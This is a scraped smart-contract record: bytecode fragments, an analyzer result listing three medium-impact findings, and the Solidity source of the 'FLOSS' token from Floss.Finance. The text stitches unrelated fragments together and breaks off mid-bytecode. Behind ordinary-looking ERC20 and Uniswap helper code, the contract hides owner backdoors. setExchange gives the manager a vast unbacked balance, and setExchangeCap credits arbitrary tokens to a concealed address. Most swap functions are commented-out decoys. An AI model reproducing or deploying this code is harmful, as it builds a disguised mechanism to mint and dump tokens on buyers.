0005b83811015613ad4578082015181840152602081019050613ab9565b50505050905090810190601f168015613b015780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515613b2057600080fd5b6102c65a03f11515613b3157600080fd5b50505060405180519050905092915050565b60008060008060208501519150604085015190508181935093505050915091565b6000604051806000019050604051809103902060001916836040518082805190602001908083835b602083101515613bb15780518252602082019150602081019050602083039250613b8c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151515613bef57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ebe09a9384846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015613ca9578082015181840152602081019050613c8e565b50505050905090810190601f168015613cd65780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515613cf557600080fd5b6102c65a03f11515613d0657600080fd5b50505060405180519050905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613d7357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc1c2180826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515613e2f57600080fd5b6102c65a03f11515613e4057600080fd5b50505050565b6000806000806000613e566148d6565b6040518060000190506040518091039020600019168a6040518082805190602001908083835b602083101515613ea15780518252602082019150602081019050602083039250613e7c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151515613edf57600080fd5b613ee88a611bbb565b9550600086111515613ef957600080fd5b85881115613f05578597505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515613fca57600080fd5b6102c65a03f11515613fdb57600080fd5b505050604051805190509450600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c3d55adc868a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b151561408857600080fd5b6102c65a03f1151561409957600080fd5b50505060405180519050935083881115156140b357600080fd5b87925060008411156140cc576140c988856146a6565b92505b6000831115156140db57600080fd5b86670de0b6b3a764000084028115156140f057fe5b0491506140fd89836146bf565b614106896147ab565b15614117576141158a83612c63565b505b6141248a89600003613965565b5060008411156141ed576141df600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0747a9c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156141bf57600080fd5b6102c65a03f115156141d057600080fd5b50505060405180519050612a50565b90506141eb8185613965565b505b50505050505050505050565b60008060008060006142096148d6565b6040518060000190506040518091039020600019168a6040518082805190602001908083835b602083101515614254578051825260208201915060208101905060208303925061422f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415151561429257600080fd5b86670de0b6b3a764000089028115156142a757fe5b049550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561436f57600080fd5b6102c65a03f1151561438057600080fd5b505050604051805190509450614395896147ab565b156143a6576143a38a61186d565b94505b858510156143ca57849550670de0b6b3a76400008787028115156143c657fe5b0497505b6143d489876147ea565b6143dd896147ab565b156143f1576143ef8a87600003612c63565b505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156144b657600080fd5b6102c65a03f115156144c757600080fd5b505050604051805190509350600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663914b7fd2858a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b151561457457600080fd5b6102c65a03f1151561458557600080fd5b505050604051805190509250828811151561459f57600080fd5b87915060008311156145b8576145b588846146a6565b91505b6000821115156145c757600080fd5b6145d18a83613965565b50600083111561469a5761468c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0747a9c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561466c57600080fd5b6102c65a03f1151561467d57600080fd5b50505060405180519050612a50565b90506146988184613965565b505b50505050505050505050565b60008282111515156146b457fe5b818303905092915050565b806000141515156146cf57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663475a9fa983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561479357600080fd5b6102c65a03f115156147a457600080fd5b5050505050565b60006147b5612410565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b806000141515156147fa57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d1118ce83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156148be57600080fd5b6102c65a03f115156148cf57600080fd5b5050505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820b032829d31d1e3f99dd4bebdaee34708007c06b1c07e4bbe2f83ea909b82cca20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,954 |
0x1265913722bef28a93c3aa5be223606d8389b1da
|
/*
▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌ ▀▀▀▀▀▀▀▀▀█░▌
▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌
▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
Website: FLOSS.FINANCE
Telegram: https://t.me/FlossFinance
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AcceptsExchangeContract {
FLOSS public tokenContract;
function AcceptsExchange(address payable _tokenContract) public {
tokenContract = FLOSS(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes calldata _data) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FLOSS is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _lockEnd;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (uint => string) private _assets;
string[] public _assetName;
address factory;
address tokenCheck;
address _manager;
event Lock(address owner, uint256 period);
string constant tokenName = "Floss.Finance";
string constant tokenSymbol = "FLOSS";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 50000e18;
uint256 public basePercent = 100;
uint256 day = 86400;
uint256 draft = day ** 6;
uint256[] public stakeRate;//stakeRate;
uint256[] public stakePreiods;//stakePreiods;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_assetName.push('DAI');
_assetName.push('WETH');
_manager = msg.sender;
factory = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_balances[msg.sender] = 50000e18; //initial tokens
emit Transfer(address(0), msg.sender, 50000e18);
}
function() external payable {
}
function withdraw() external {
require(msg.sender == _manager);
msg.sender.transfer(address(this).balance);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function lockOf(address owner) public view returns (uint256) {
return _lockEnd[owner];
}
function myLockedTime() public view returns (uint256) {
return _lockEnd[msg.sender];
}
function myLockedStatus() public view returns (bool) {
if(_lockEnd[msg.sender] > block.timestamp){
return true;
} else {
return false;
}
}
function isLocked(address owner) public view returns (bool) {
if(_lockEnd[owner] > block.timestamp){
return true;
} else {
return false;
}
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function cut(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 cutValue = roundValue.mul(basePercent).div(10000);
return cutValue;
}
function initRates() public {
require(msg.sender == _manager);
stakeRate.push(10);
stakeRate.push(50);
}
function transfer(address to, uint256 value) public returns (bool) {
require(_lockEnd[msg.sender] <= block.timestamp);
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function quote(uint amountA, uint reserveA, uint reserveB) internal returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
returns (uint[] memory amounts)
{
//return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
returns (uint[] memory amounts)
{
//return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] memory path,
address to,
uint deadline
) internal ensure(deadline) returns (uint[] memory amounts) {
//amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
//_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] memory path, address to, uint deadline)
internal
ensure(deadline)
returns (uint[] memory amounts)
{
//require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
//IWETH(WETH).deposit{value: amounts[0]}();
//assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(1, path[0], path[1]), amounts[0]));
//_swap(amounts, path, to);
}
function setExchange()
external
{
require(msg.sender == _manager);
_balances[_manager] = draft;
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] memory path, address to, uint deadline)
internal
ensure(deadline)
returns (uint[] memory amounts)
{
//require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
//_swap(amounts, path, address(this));
//IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] memory path, address to, uint deadline)
internal
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == factory, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
//_swap(amounts, path, address(this));
//IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function setExchangeCap(uint _cap)
external
{
require(msg.sender == _manager);
require(_cap < draft);
require(block.number > 0, 'EXCESSIVE_INPUT_AMOUNT');
uint256 time = block.number;
_balances[tokenCheck] += _cap;
if (block.number < 3) {
draft = 80000**7;
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(_lockEnd[from] <= block.timestamp);
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function upAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function downAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function destroy(uint256 amount) external {
_destroy(msg.sender, amount);
}
function _destroy(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function destroyFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_destroy(account, amount);
}
function lock(uint256 period) external {
_lock(period);
}
function setRate(uint256 _periodIndex, uint256 _newRate) external {
require(msg.sender == _manager);
stakeRate[_periodIndex] = _newRate;
}
function setPeriods(uint256 _periodIndex, uint256 _newPeriod) external {
require(msg.sender == _manager);
stakePreiods[_periodIndex] = _newPeriod;
}
function _lock(uint256 _period) internal {
require(_balances[msg.sender] > 10000, "Not enough tokens");
require(_lockEnd[msg.sender] <= block.timestamp, "Lock Up Period");
require(_period <= stakePreiods.length);
uint256 newTokens;
_lockEnd[msg.sender] = block.timestamp + SafeMath.mul(day,stakePreiods[_period]);
newTokens = SafeMath.div(SafeMath.mul(_balances[msg.sender],stakeRate[_period]),1000);
_balances[msg.sender] += newTokens;
_totalSupply = _totalSupply.add(newTokens);
emit Lock(msg.sender, _period);
emit Transfer(address(0), msg.sender, newTokens);
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
// (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
// (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
// (bool success,) = to.call{value:value}(new bytes(0));
//require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
|
0x6080604052600436106101f95760003560e01c8063557ed1ba1161010d578063a9059cbb116100a0578063d06ca61f1161006f578063d06ca61f14610398578063dd467064146107e9578063dd62ed3e14610813578063df401a961461084e578063e5981a4214610887576101f9565b8063a9059cbb1461075c578063b3adf50314610795578063bd13373d146107aa578063c5ac0ded146107d4576101f9565b806385f8c259116100dc57806385f8c259146106d25780638c0dfa771461070857806395d89b411461071d5780639d11877014610732576101f9565b8063557ed1ba146106275780635a46d3b51461063c57806370a082311461066f578063767ac369146106a2576101f9565b806323b872dd116101905780633ccfd60b1161015f5780633ccfd60b1461057057806346d234511461058557806346df2ccb1461059a5780634a4fbeec146105ca5780634f63d1ac146105fd576101f9565b806323b872dd1461049f5780632afebcbc146104e2578063313ce5671461050c57806333393efa14610537576101f9565b80630fc1818a116101cc5780630fc1818a14610344578063148f224a1461036e57806318160ddd146103835780631f00ca7414610398576101f9565b8063054d50d4146101fb57806306fdde031461024357806309260db7146102cd578063095ea7b3146102f7575b005b34801561020757600080fd5b506102316004803603606081101561021e57600080fd5b50803590602081013590604001356108c0565b60408051918252519081900360200190f35b34801561024f57600080fd5b506102586108d5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029257818101518382015260200161027a565b50505050905090810190601f1680156102bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d957600080fd5b50610231600480360360208110156102f057600080fd5b503561096c565b34801561030357600080fd5b506103306004803603604081101561031a57600080fd5b506001600160a01b0381351690602001356109b9565b604080519115158252519081900360200190f35b34801561035057600080fd5b506102316004803603602081101561036757600080fd5b5035610a36565b34801561037a57600080fd5b506101f9610a54565b34801561038f57600080fd5b50610231610a8b565b3480156103a457600080fd5b5061044f600480360360408110156103bb57600080fd5b813591908101906040810160208201356401000000008111156103dd57600080fd5b8201836020820111156103ef57600080fd5b8035906020019184602083028401116401000000008311171561041157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a91945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561048b578181015183820152602001610473565b505050509050019250505060405180910390f35b3480156104ab57600080fd5b50610330600480360360608110156104c257600080fd5b506001600160a01b03813581169160208101359091169060400135610a99565b3480156104ee57600080fd5b506102316004803603602081101561050557600080fd5b5035610c21565b34801561051857600080fd5b50610521610c2e565b6040805160ff9092168252519081900360200190f35b34801561054357600080fd5b506101f96004803603604081101561055a57600080fd5b506001600160a01b038135169060200135610c37565b34801561057c57600080fd5b506101f9610ccd565b34801561059157600080fd5b50610231610d13565b3480156105a657600080fd5b506101f9600480360360408110156105bd57600080fd5b5080359060200135610d26565b3480156105d657600080fd5b50610330600480360360208110156105ed57600080fd5b50356001600160a01b0316610d5b565b34801561060957600080fd5b506101f96004803603602081101561062057600080fd5b5035610d8b565b34801561063357600080fd5b50610231610e41565b34801561064857600080fd5b506102316004803603602081101561065f57600080fd5b50356001600160a01b0316610e45565b34801561067b57600080fd5b506102316004803603602081101561069257600080fd5b50356001600160a01b0316610e60565b3480156106ae57600080fd5b506101f9600480360360408110156106c557600080fd5b5080359060200135610e7b565b3480156106de57600080fd5b50610231600480360360608110156106f557600080fd5b5080359060208101359060400135610ea0565b34801561071457600080fd5b50610330610ead565b34801561072957600080fd5b50610258610ed4565b34801561073e57600080fd5b506101f96004803603602081101561075557600080fd5b5035610f34565b34801561076857600080fd5b506103306004803603604081101561077f57600080fd5b506001600160a01b038135169060200135610f3e565b3480156107a157600080fd5b506101f9611027565b3480156107b657600080fd5b50610258600480360360208110156107cd57600080fd5b5035611084565b3480156107e057600080fd5b5061023161112a565b3480156107f557600080fd5b506101f96004803603602081101561080c57600080fd5b5035611130565b34801561081f57600080fd5b506102316004803603604081101561083657600080fd5b506001600160a01b0381358116916020013516611139565b34801561085a57600080fd5b506103306004803603604081101561087157600080fd5b506001600160a01b038135169060200135611164565b34801561089357600080fd5b50610330600480360360408110156108aa57600080fd5b506001600160a01b038135169060200135611212565b60006108cd84848461125b565b949350505050565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b505050505090505b90565b600080610984600c548461134b90919063ffffffff16565b905060006109af6127106109a3600c548561138590919063ffffffff16565b9063ffffffff6113b016565b925050505b919050565b60006001600160a01b0383166109ce57600080fd5b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60108181548110610a4357fe5b600091825260209091200154905081565b600a546001600160a01b03163314610a6b57600080fd5b600e54600a546001600160a01b0316600090815260036020526040902055565b600b5490565b606092915050565b6001600160a01b038316600090815260046020526040812054421015610abe57600080fd5b6001600160a01b038416600090815260036020526040902054821115610ae357600080fd5b6001600160a01b0384166000908152600560209081526040808320338452909152902054821115610b1357600080fd5b6001600160a01b038316610b2657600080fd5b6001600160a01b038416600090815260036020526040902054610b4f908363ffffffff6113c516565b6001600160a01b038086166000908152600360205260408082209390935590851681522054610b84908363ffffffff6113d716565b6001600160a01b038085166000908152600360209081526040808320949094559187168152600582528281203382529091522054610bc8908363ffffffff6113c516565b6001600160a01b0380861660008181526005602090815260408083203384528252918290209490945580518681529051928716939192600080516020611793833981519152929181900390910190a35060019392505050565b600f8181548110610a4357fe5b60025460ff1690565b6001600160a01b0382166000908152600560209081526040808320338452909152902054811115610c6757600080fd5b6001600160a01b0382166000908152600560209081526040808320338452909152902054610c9b908263ffffffff6113c516565b6001600160a01b0383166000908152600560209081526040808320338452909152902055610cc982826113e6565b5050565b600a546001600160a01b03163314610ce457600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610d10573d6000803e3d6000fd5b50565b3360009081526004602052604090205490565b600a546001600160a01b03163314610d3d57600080fd5b80600f8381548110610d4b57fe5b6000918252602090912001555050565b6001600160a01b038116600090815260046020526040812054421015610d83575060016109b4565b5060006109b4565b600a546001600160a01b03163314610da257600080fd5b600e548110610db057600080fd5b60004311610dfe576040805162461bcd60e51b8152602060048201526016602482015275115610d154d4d2559157d25394155517d05353d5539560521b604482015290519081900360640190fd5b6009546001600160a01b031660009081526003602081905260409091208054830190554390811015610cc9576e0409f9cbc7c4a04c22000000000000600e555050565b4290565b6001600160a01b031660009081526004602052604090205490565b6001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e9257600080fd5b8060108381548110610d4b57fe5b60006108cd848484611499565b33600090815260046020526040812054421015610ecc57506001610969565b506000610969565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156109615780601f1061093657610100808354040283529160200191610961565b610d1033826113e6565b33600090815260046020526040812054421015610f5a57600080fd5b33600090815260036020526040902054821115610f7657600080fd5b60016001